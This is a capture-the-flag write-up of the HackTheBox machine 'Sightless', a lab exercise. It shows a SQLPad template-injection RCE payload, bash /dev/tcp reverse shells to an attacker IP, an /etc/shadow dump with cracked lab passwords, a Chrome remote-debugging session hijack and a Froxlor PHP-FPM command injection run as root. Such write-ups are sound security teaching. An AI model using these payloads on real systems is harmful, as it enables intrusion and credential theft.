Sightless – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

‘Sightless’ Avatar


Summary Link to heading

“Sightless” is an easy box from HackTheBox platform. The victim server is running a web server that also exposes a SQL using a vulnerable SQLPad version to CVE-2022-0944. This version is vulnerable to Remote Code Execution (RCE), allowing us to gain initial access to the victim machine. However, this service is running inside a Docker container as root. Since we are root user inside the container, we are able to read /etc/shadow file, save the hashes stored in this file and crack them. One of the passwords cracked works for a user in the original machine through SSH service, allowing us to gain initial access to the original host machine. Once inside, we can see that this machine is running an internal web service identified as Froxlor. Additionally, we can see a Google Chrome session in the victim machine. Making a Local Port Forwarding, we are able to connect to this Chrome session and obtain credentials for Froxlor panel. Finally, we are able to inject a task/script in the Froxlor service and gain access as root to the victim machine.


User Link to heading

A quick Nmap scan shows 3 ports open: 21 File Transfer Protocol, 22 SSH, and 80 HTTP.

❯ sudo nmap -sS --open --min-rate=5000 -p- -n -Pn -vvv 10.10.11.32

Applying some recognition scans against these ports we get:

❯ sudo nmap -sVC -p21,22,80 10.10.11.32

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-20 03:02 -03
Nmap scan report for 10.10.11.32
Host is up (0.33s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp
| fingerprint-strings:
|   GenericLines:
|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
|     Invalid command: try being more creative
|_    Invalid command: try being more creative
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)
|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://sightless.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port21-TCP:V=7.94SVN%I=7%D=9/20%Time=66ED101F%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,A0,"220\x20ProFTPD\x20Server\x20\(sightless\.htb\x20FTP\x20
SF:Server\)\x20\[::ffff:10\.10\.11\.32\]\r\n500\x20Invalid\x20command:\x20
SF:try\x20being\x20more\x20creative\r\n500\x20Invalid\x20command:\x20try\x
SF:20being\x20more\x20creative\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.83 seconds

We can see that port 80 HTTP is redirecting to sightless.htb domain.

We can add this new domain to our /etc/hosts file, executing:

❯ echo '10.10.11.32 sightless.htb' | sudo tee -a /etc/hosts

We can then visit http://sightless.htb in a web browser. We can see a webpage:

Sightless 1

They are a company that, basically, provides services to manage data:

Sightless

The first service, SQLPad, redirects to sqlpad.sightless.htb if we click on Start Now. Froxlor redirects to its official webpage (https://www.froxlor.org/), and Data & Server redirects to an non-existent url.

Since we have a new subdomain, sqlpad.sightless.htb, we add this new domain to our /etc/hosts file. So now this file looks like:

❯ tail -n1 /etc/hosts

10.10.11.32 sightless.htb sqlpad.sightless.htb

Once added this new subdomain, we can visit http://sqlpad.sightless.htb:

Sightless 3

When we visit the page, we are allowed to use a query that, apparently, manages SQL requests.

This service is using SQLPad:

Info
SQLPad is a web app for writing and running SQL queries and visualizing the results. Supports Postgres, MySQL, SQL Server, ClickHouse, Crate, Vertica, Trino, Presto, Pinot, Drill, SAP HANA, BigQuery, SQLite, TiDB and many others via ODBC.
We attempt some commands to view info, but we don’t get something interesting.

If we go to the upper right side of the panel, we can see three points in vertical position. Clicking on them shows About SQLPad info:

Sightless 4

We can see a version for SQLPad: 6.10.0.

We search for SQLPad 6.10.0 vulnerability on Google and this yields to a vulnerabilty labeled as CVE-2022-0944. The vulnerability is briefly described as Template injection in connection test endpoint leads to RCE in GitHub repository sqlpad/sqlpad prior to 6.10.1.. Searching for PoCs for this vulnerability we find this post explaining the vulnerability. There, they provide brief steps to exploit this.

First, go to SQLPad panel, click on Connections, then Add connection. As Driver, select MySQL.

Sightless 5

We can then add the payload provided in the Database field:

{{ process.mainModule.require('child_process').exec('id>/tmp/pwn') }}

which I will modify to send a reverse shell to my attacker machine:

{{ process.mainModule.require('child_process').exec('bash -c "bash >& /dev/tcp/10.10.16.5/443 0>&1"') }}

where 10.10.16.5 is our attacker IP and 443 is a port we will start listening with netcat.

Start a listener with netcat on port 443 in our attacker machine:

❯ nc -lvnp 443

listening on [any] 443 ...

and pass the payload:

Sightless 6

We get an error message about MySQL service is not enabled in the victim machine. But if we check our netcat listener, we get a shell as root user:

❯ nc -lvnp 443
listening on [any] 443 ...

connect to [10.10.16.5] from (UNKNOWN) [10.10.11.32] 55250
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# whoami

whoami
root

Checking the hostname (the string after root@ user) and also checking the machine IP address confirms that we are in a container:

root@c184118df0a6:/var/lib/sqlpad# hostname -I
172.17.0.2

root@c184118df0a6:/var/lib/sqlpad# hostname
c184118df0a6

Checking / directory confirms we are in a Docker container:

root@c184118df0a6:/var/lib/sqlpad# ls -la / | grep docker

-rwxr-xr-x   1 root root    0 Aug  2 09:30 .dockerenv
-rwxr-xr-x   1 root root  413 Mar 12  2022 docker-entrypoint

Looking at /home we can see 2 users:

root@c184118df0a6:/var/lib/sqlpad# ls -la /home

total 20
drwxr-xr-x 1 root    root    4096 Aug  6 11:23 .
drwxr-xr-x 1 root    root    4096 Aug  2 09:30 ..
drwxr-xr-x 2 michael michael 4096 Aug  9 09:42 michael
drwxr-xr-x 1 node    node    4096 Aug  9 09:42 node

Since we are root in this container, we are able to read /etc/shadow, where system passwords are stored in Linux systems:

root@c184118df0a6:/var/lib/sqlpad# cat /etc/shadow

root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

We save both hashes in our attacker machine into a file named container_hashes:

❯ cat container_hashes

michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::

We can then attempt to crack these hashes through a Brute Force Password Cracking with rockyou.txt dictionary, using John The Ripper (john) tool:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt container_hashes

Warning: detected hash type "sha512crypt", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blindside        (root)
insaneclownposse (michael)
2g 0:00:00:12 DONE (2024-09-20 04:05) 0.1547g/s 4557p/s 7628c/s 7628C/s melissa10..bluedolphin
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

We are able to crack both hashes. One credential is root:blindside and the other is michael:insaneclownposse.

We save both users into a file, and both passwords into another file. Then, use NetExec to check which pair of credentials are valid:

❯ netexec ssh 10.10.11.32 -u found_users -p found_password --continue-on-success

SSH         10.10.11.32     22     10.10.11.32      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.32     22     10.10.11.32      [-] root:blindside Authentication failed.
SSH         10.10.11.32     22     10.10.11.32      [-] michael:blindside Authentication failed.
SSH         10.10.11.32     22     10.10.11.32      [-] root:insaneclownposse Authentication failed.
SSH         10.10.11.32     22     10.10.11.32      [+] michael:insaneclownposse  (non root) Linux - Shell access!

We have valid credentials to log in via SSH: michael:insaneclownposse.

We can then log in through SSH to the target machine as this user:

❯ sshpass -p 'insaneclownposse' ssh -o stricthostkeychecking=no michael@10.10.11.32

Warning: Permanently added '10.10.11.32' (ED25519) to the list of known hosts.
Last login: Tue Sep  3 11:52:02 2024 from 10.10.14.23
michael@sightless:~$ whoami

michael

We can read the user flag at this user /home directory.


Root Link to heading

Looking internal ports open, we can see that port 8080 is available:

michael@sightless:~$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                            Peer Address:Port              Process
LISTEN              0                   511                                  127.0.0.1:8080                                 0.0.0.0:*
LISTEN              0                   151                                  127.0.0.1:3306                                 0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:34001                                0.0.0.0:*
LISTEN              0                   10                                   127.0.0.1:33911                                0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:3000                                 0.0.0.0:*
LISTEN              0                   5                                    127.0.0.1:33569                                0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                   0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                   0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                   0.0.0.0:*
LISTEN              0                   70                                   127.0.0.1:33060                                0.0.0.0:*
LISTEN              0                   128                                          *:21                                         *:*
LISTEN              0                   128                                       [::]:22                                      [::]:*

We can check if this is a web service using cURL against the localhost on this port:

michael@sightless:~$ curl -s 127.0.0.1:8080 | head -n 20

<!DOCTYPE html>
<html lang="en" data-bs-theme="light">
<head>
        <!-- Required meta tags -->
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="robots" content="noindex, nofollow, noarchive"/>
        <meta name="googlebot" content="nosnippet"/>
        <link rel="icon" type="image/x-icon" href="templates/Froxlor/assets/img/icon.png">
        <meta name="csrf-token" content="da280e2fe9b36408df633a5170c362aebea2e110" />
        <!-- Assets  -->
        <link rel="stylesheet" href="templates/Froxlor/build/assets/app-61450a15.css">
<script src="templates/Froxlor/build/assets/app-67d6acee.js" type="module"></script>

        <title>Froxlor</title>
</head>
<body id="app" class="min-vh-100 d-flex flex-column">

                        <div class="container-fluid">
                                <div class="container">

We can see some output. So this should be a site running internally.

We attempt a Local Port Fordwarding since we have an SSH connection, but I will use Chisel for a change what we always do. We can download Chisel from its Github repository. We download the appropriated binaries for our system and victim machine architecture. In our case linux_amd64 should work for both. Once that is done, we pass a copy of Chisel binary to the victim machine. Start a Python HTTP server on port 8000 in our attacker machine:

❯ ls -la && python3 -m http.server 8000

total 8464
drwxrwxr-x 3 gunzf0x gunzf0x    4096 Sep 20 04:17 .
drwxrwxr-x 5 gunzf0x gunzf0x    4096 Sep 20 03:00 ..
-rwxr-xr-x 1 gunzf0x gunzf0x 8654848 Sep 20 04:17 chisel
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

and in the target machine, download a copy of it:

michael@sightless:~$ wget http://10.10.16.5:8000/chisel -O /dev/shm/chisel

--2024-09-20 07:24:08--  http://10.10.16.5:8000/chisel
Connecting to 10.10.16.5:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 8654848 (8.3M) [application/octet-stream]
Saving to: ‘/dev/shm/chisel’

/dev/shm/chisel                            100%[=======================================================================================>]   8.25M  2.31MB/s    in 4.0s

2024-09-20 07:24:13 (2.04 MB/s) - ‘/dev/shm/chisel’ saved [8654848/8654848]

michael@sightless:~$ chmod +x /dev/shm/chisel

In our attacker machine, start listening with Chisel as a server on port 1234:

❯ ./chisel server --reverse -v -p 1234

2024/09/20 04:27:26 server: Reverse tunnelling enabled
2024/09/20 04:27:26 server: Fingerprint lZ0CnNAQbZjW/aRxPTlCFNne8wu4M9x3mBrU3YeTe+k=
2024/09/20 04:27:26 server: Listening on http://0.0.0.0:1234

and in the target machine, using the SSH session, start Chisel as a client and redirect everything from 127.0.0.1:8080 to 10.10.16.5:8080 (our attacker IP address):

michael@sightless:~$ /dev/shm/chisel client 10.10.16.5:1234 R:8080:127.0.0.1:8080

:25 client: Connecting to ws://10.10.16.5:1234
2024/09/20 07:28:27 client: Connected (Latency 160.495089ms)

Now, we can open a web browser like Firefox and visit http://127.0.0.1:8080. We can see a new page:

Sightless

This is running Froxlor, one of the services presented in the main page.

Info
Froxlor is a free and open-source web hosting control panel.

Now, a tricky part is that we need to get credentials for this panel. I have tried with passwords found at Docker container and users admin, froxlor and froxroot (provided in their example installation documentation), but did not work.

If we use ps with ps aux to see for processes being executed in the machine. There is one that calls my attention that is using Google Chrome:

michael@sightless:~$ ps aux | grep chrome

john        1596  0.3  0.3 33630172 14972 ?      Sl   05:59   0:27 /home/john/automation/chromedriver --port=51219
john        1601  0.0  0.0      0     0 ?        Z    05:59   0:00 [chromedriver] <defunct>
john        1607  0.6  2.8 34003124 113516 ?     Sl   05:59   0:46 /opt/google/chrome/chrome --allow-pre-commit-input --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-dev-shm-usage --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-logging --headless --log-level=0 --no-first-run --no-sandbox --no-service-autorun --password-store=basic --remote-debugging-port=0 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.org.chromium.Chromium.rnq94A data:,
john        1609  0.0  0.0 33575860 3248 ?       Sl   05:59   0:00 /opt/google/chrome/chrome_crashpad_handler --monitor-self-annotation=ptype=crashpad-handler --database=/tmp/Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=lsb-release=Ubuntu 22.04.4 LTS --annotation=plat=Linux --annotation=prod=Chrome_Headless --annotation=ver=125.0.6422.60 --initial-client-fd=6 --shared-client-connection
john        1613  0.0  1.4 34112448 56188 ?      S    05:59   0:00 /opt/google/chrome/chrome --type=zygote --no-zygote-sandbox --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1609 --enable-crash-reporter
john        1614  0.0  1.4 34112456 56892 ?      S    05:59   0:00 /opt/google/chrome/chrome --type=zygote --no-sandbox --enable-logging --headless --log-level=0 --headless --crashpad-handler-pid=1609 --enable-crash-reporter
john        1629  0.6  3.0 34362344 120488 ?     Sl   05:59   0:40 /opt/google/chrome/chrome --type=gpu-process --no-sandbox --disable-dev-shm-usage --headless --ozone-platform=headless --use-angle=swiftshader-webgl --headless --crashpad-handler-pid=1609 --gpu-preferences=WAAAAAAAAAAgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --shared-files --fie
john        1630  0.1  2.1 33900068 87232 ?      Sl   05:59   0:11 /opt/google/chrome/chrome --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --disable-dev-shm-usage --use-angle=swiftshader-webgl --use-gl=angle --headless --crashpad-handler-pid=1609 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=3,i,8801409258956764364,5953548738027396973,262144 --disable-features=PaintHolding --variations-seed-version --enable-logging --log-level=0 --enable-crash-reporter
john        1658  3.2  4.0 1186799472 160768 ?   Sl   05:59   3:41 /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=1609 --no-sandbox --disable-dev-shm-usage --enable-automation --remote-debugging-port=0 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1726811818039563 --launc
michael     4694  0.0  0.0   6612  2244 pts/0    S+   07:52   0:00 grep --color=auto chrome

The user john has an open session using Google Chrome.

Usually, when we execute this, we open ports since this is required by the Google Chrome service. As we saw previously, we had many ports open. We can get them playing a little bit:

michael@sightless:~$ ss -nltp | awk '{print $4}' | grep -v Local | awk -F : '{print $2}' | grep -v '^$' | sort -u

21
22
3000
3306
33060
33569
33911
34001
53
80
8080

From here, we will discard the services that we already know are running and are identified: 21 (FTP), 22 (SSH), 53 (DNS), 80 (the main webpage service), 3000 (is the default port for SQLPad, as can be seen here) ,3306 and 33060 (MySQL), and 8080 (Froxlor web service). As a note, another option to recognize which service is using which port is running, for example:

michael@sightless:~$ lsof -i:22

for port 22 that will be used by SSH. But the system does not return anything, so we might be not allowed to see running processes in detail.

After all these filters, this only leave us the ports: 33569, 33911 and 34001. We can kill our tunnel with Chisel, and make a new one where we redirect every candidate as port to our attacker machine:

michael@sightless:~$ /dev/shm/chisel client 10.10.16.5:1234 R:8080:127.0.0.1:8080 R:33569:127.0.0.1:33569 R:33911:127.0.0.1:33911 R:34001:127.0.0.1:34001
Note
These ports will be different for every machine session, so check them instead of just copy/pasting the command above.

Next, we will use Chromium since the following steps did not work for Firefox. In Chromium, we can search for chrome://inspect/#devices in the url bar. Then, click on Configure at the right of Discover network targets. We should see something like:

Sightless 9

Now, add 127.0.0.1:<exposed port> and click on Done. One of the exposed ports should be the Google Chrome session running on the target. In my case 127.0.0.1:33911 was the connection we were looking for. Once added, we can see a Froxlor message:

Sightless 10

If we click on Inspect on the first link, we can see a kind of an animation in our screen. Basically, it is the user login into the panel. In the Developers tool, we can go to Network and then, after the user logs in, we can check index.php resource and Payload tab. We can then see:

Sightless fig

We have a user (set as parameter loginname) admin and a password ForlorfroxAdmin.

We then visit http://127.0.0.1:8080 and use the credentials admin:ForlorfroxAdmin, and they work. We are inside the panel as admin user:

Sightless 11

At the left side we can see a PHP tab. Clicking on it shows many options. We can see a tab called PHP-FPM versions. Searching what is this returns:

Info
PHP-FPM, or PHP FastCGI Process Manager, is an advanced, high-performance FastCGI process manager for PHP. It resolves the concurrency issue of PHP’s built-in server by spawning multiple workers, which can handle multiple requests simultaneously.
It is a tool to handle processes more efficiently in PHP.

Clicking on PHP-FPM versions and then on Create new PHP version shows us a new page. We will try to execute the command whoami and then send the output of this command to our attacker machine, all using netcat. In the Froxlor panel we do use the command whoami | nc 10.10.16.5 4444 and in our attacker machine we start listening on port 4444 with netcat (executing nc -lvnp 4444). In the victim machine we add the mentioned payload:

Sightless 12

But I encounter a problem. I get an error when I click on Save. I have tried with other simple commands that worked previously, so, maybe, the pipe | is breaking it. Therefore, as michael user in a new SSH session (do NOT kill our tunnel made with Chisel), I will create a simple script to send us a reverse shell:

michael@sightless:~$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"' > /dev/shm/rev.sh

michael@sightless:~$ cat /dev/shm/rev.sh

#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.16.5/443 0>&1"

michael@sightless:~$ chmod +x /dev/shm/rev.sh

Start a listener with netcat on port 443 in our attacker machine:

❯ nc -lvnp 443

listening on [any] 443 ...

Then, add the new payload into PHP-FPM tab:

Sightless 13

Finally, we can go to System > Settings > PHP-FPM, disable the service clicking on the button next to Activate to use, and click on Save. Then, go back to this tab, and enable the service again to “restart” it, and click on Save again:

Sightless 16

If we go to Cronjob Settings, there is a cronjob running every 5 minutes named as Generating of configfiles:

Sightless

I assume this job will execute the payload, so we need to wait until time XX:X5.

After some minutes the cronjob is executed, we get a connection in our shell, and its by root user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.11.32] 37430
bash: cannot set terminal process group (3310): Inappropriate ioctl for device
bash: no job control in this shell
root@sightless:~# whoami

whoami
root

root@sightless:~# hostname -I

hostname -I
10.10.11.32 172.17.0.1

We are root in the victim machine, not in a container this time :D We can read then the root flag at /root directory.

~Happy Hacking